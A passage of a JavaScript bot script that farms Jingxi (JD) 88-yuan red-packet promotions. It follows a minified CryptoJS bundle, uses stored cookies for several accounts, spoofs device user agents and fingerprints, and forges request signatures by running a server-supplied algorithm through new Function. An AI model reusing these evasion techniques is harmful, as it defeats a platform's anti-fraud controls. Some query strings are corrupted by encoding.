0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜领88元红包'); +const notify = $.isNode() ? require('./sendNotify') : {}; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; +let cookiesArr = [], cookie = ''; +let UA, UAInfo = {}, codeInfo = {}, token; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +$.packetIdArr = []; +$.activeId = '529439'; +const BASE_URL = 'https://m.jingxi.com/cubeactive/steprewardv3' +$.appId = "e395f" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jxhb.json') + // if (!res) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + // await $.wait(1000) + // res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json') + // } + // if (res && res.activeId) $.activeId = res.activeId; + // $.authorMyShareIds = [...((res && res.codes) || [])]; + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo() + await $.wait(1000) + //开启红包,获取互助码 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true + $.nickName = '' + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + token = await getJxToken() + await main(); + } + //互助 + console.log(`\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n`); + console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + UA = UAInfo[$.UserName] + token = await getJxToken() + for (let j = 0; j < $.packetIdArr.length && $.canHelp; j++) { + console.log(`【${$.UserName}】去助力【${$.packetIdArr[j].userName}】邀请码:${$.packetIdArr[j].strUserPin}`); + if ($.UserName === $.packetIdArr[j].userName) { + console.log(`助力失败:不能助力自己`) + continue + } + $.max = false; + await enrollFriend($.packetIdArr[j].strUserPin); + await $.wait(5000); + if ($.max) { + $.packetIdArr.splice(j, 1) + j-- + continue + } + } + if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { + console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) + for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { + console.log(`【${$.UserName}】去助力作者的邀请码:${$.authorMyShareIds[j]}`); + $.max = false; + await enrollFriend($.authorMyShareIds[j]); + await $.wait(5000); + if ($.max) { + $.authorMyShareIds.splice(j, 1) + j-- + continue + } + } + } + } + //拆红包 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.canOpenGrade = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + UA = UAInfo[$.UserName] + token = await getJxToken() + for (let grade of $.grades) { + if (!codeInfo[$.UserName]) continue; + console.log(`\n【${$.UserName}】去拆第${grade}个红包`); + await openRedPack(codeInfo[$.UserName], grade); + if (!$.canOpenGrade) break + await $.wait(15000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + await joinActive(); + await $.wait(2000); + await getUserInfo(); +} +//参与活动 +function joinActive() { + return new Promise(resolve => { + $.get(taskurl('JoinActive', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=`), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`活动开启成功\n`); + } else { + console.log(`活动开启失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//获取助力码 +function getUserInfo() { + return new Promise(resolve => { + $.get(taskurl('GetUserInfo'), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + $.grades = [] + $.helpNum = '' + let grades = data.Data.gradeConfig + for(let key of Object.keys(grades)){ + let vo = grades[key] + $.grades.push(vo.dwGrade) + $.helpNum = vo.dwHelpTimes + } + if (data.Data.dwHelpedTimes === $.helpNum) { + console.log(`${$.grades[$.grades.length - 1]}个阶梯红包已全部拆完\n`) + } else { + console.log(`获取助力码成功:${data.Data.strUserPin}\n`); + if (data.Data.strUserPin) { + $.packetIdArr.push({ + strUserPin: data.Data.strUserPin, + userName: $.UserName + }) + } + } + if (data.Data.strUserPin) { + codeInfo[$.UserName] = data.Data.strUserPin + } + } else { + console.log(`获取助力码失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//助力好友 +function enrollFriend(strPin) { + return new Promise(resolve => { + $.get(taskurl('EnrollFriend', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=${strPin}`), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.log(JSON.stringify(err)); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`助力成功🎉:${data.sErrMsg}\n`); + } else { + if (data.iRet === 2000) $.canHelp = false;//未登录 + if (data.iRet === 2015) $.canHelp = false;//助力已达上限 + if (data.iRet === 2016) { + $.canHelp = false;//助力火爆 + console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); + } + if (data.iRet === 2013 || data.iRet === 2011) $.max = true; + console.log(`助力失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function openRedPack(strPin, grade) { + return new Promise(resolve => { + $.get(taskurl('DoGradeDraw', `grade=${grade}`), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`拆红包成功:${data.sErrMsg}\n`); + } else { + if (data.iRet === 2017) $.canOpenGrade = false; + console.log(`拆红包失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function taskurl(function_path, body = '') { + let url = `${BASE_URL}/${function_path}?activeId=${$.activeId}${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&userDraw=0&publishFlag=1&channel=7&_t=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = 